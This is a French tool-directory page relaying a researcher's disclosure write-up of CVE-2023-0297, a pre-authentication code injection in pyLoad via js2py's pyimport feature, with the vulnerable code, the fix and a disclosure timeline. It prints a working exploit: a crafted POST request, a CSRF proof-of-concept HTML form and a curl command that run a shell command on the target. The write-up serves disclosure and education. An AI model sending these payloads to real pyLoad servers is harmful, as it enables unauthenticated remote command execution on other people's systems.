Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297 : L'histoire de la découverte de Pre-auth RCE dans pyLoad | Kitploit
Outils/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297 : L'histoire de la découverte de Pre-auth RCE dans pyLoad

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2810il y a 3 ansVérifié par Kitploit

CVE-2023-0297: RCE pré-authentification dans pyLoad

L'histoire de la découverte d'une RCE pré-authentification dans pyLoad

TL;DR

Une vulnérabilité d'injection de code dans les versions de pyLoad antérieures à 0.5.0b3.dev31 conduit à une RCE pré-authentification en abusant de la fonctionnalité de js2py.

Vous pouvez trouver le rapport ici et le code d'exploitation ici.

Détails

pyLoad est un gestionnaire de téléchargement open source écrit en Python et administrable via une interface web. Son dépôt GitHub compte environ 2,8k étoiles au 9 janvier 2023.

Alors que j'auditais le code source de pyLoad, le code suivant a attiré mon attention :

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

La définition de la fonction eval_js est la suivante :

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") utilise la fonctionnalité de js2py qui exécute le code JavaScript f"{jk} f()" où le paramètre jk est passé par un paramètre de requête :

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

Vous pouvez donc exécuter du code JavaScript arbitraire en requêtant l'endpoint.

Cependant, comment l'exploiter ? Étant donné que dans le contexte de js2py.eval_js(), ni XMLHttpRequest, fetch ni require (comme dans node.js) ne sont définis, les attaques SSRF ou la lecture de fichiers locaux ne sont pas possibles.

Après avoir passé du temps, j'ai trouvé une fonctionnalité intéressante de js2py :

pyimport statement

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

En utilisant cette fonctionnalité, vous pouvez utiliser des bibliothèques Python dans le contexte de js2py.eval_js() ! Étonnamment, pyimport est activé par défaut. :o

J'ai essayé un code simple qui exécute une commande système en utilisant pyimport :

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

Comme prévu, touch /tmp/pwnd a été exécuté !

En envoyant la requête suivante, la même chose se produirait sur la cible :

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

La partie ;f=function%20f2(){}; dans le paramètre jk est nécessaire car cet endpoint exécute eval_js(f"{jk} f()"). Si elle n'est pas présente, le code injecté ne sera pas exécuté en raison de l'erreur name 'f' is not defined.

Notez qu'un cookie et un token CSRF ne sont pas présents dans la requête. Cela signifie que :

  • Un attaquant non authentifié qui peut accéder à la cible est capable d'une RCE.
  • Même si un attaquant ne peut pas accéder à la cible, il peut piéger une victime qui y a accès pour réaliser une RCE par une attaque CSRF :
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Code d'exploitation

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Correctif

Il suffit de désactiver la fonctionnalité pyimport.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

Chronologie

  • 2023-01-02 : Signalé à huntr.dev
  • 2023-01-04 : Vulnérabilité vérifiée
  • 2023-01-04 : Vulnérabilité corrigée et rapport publié
  • 2023-01-14 : ID CVE attribué

Merci à l'équipe de huntr.dev et au mainteneur de pyLoad pour leurs réponses rapides !

Télécharger l’outil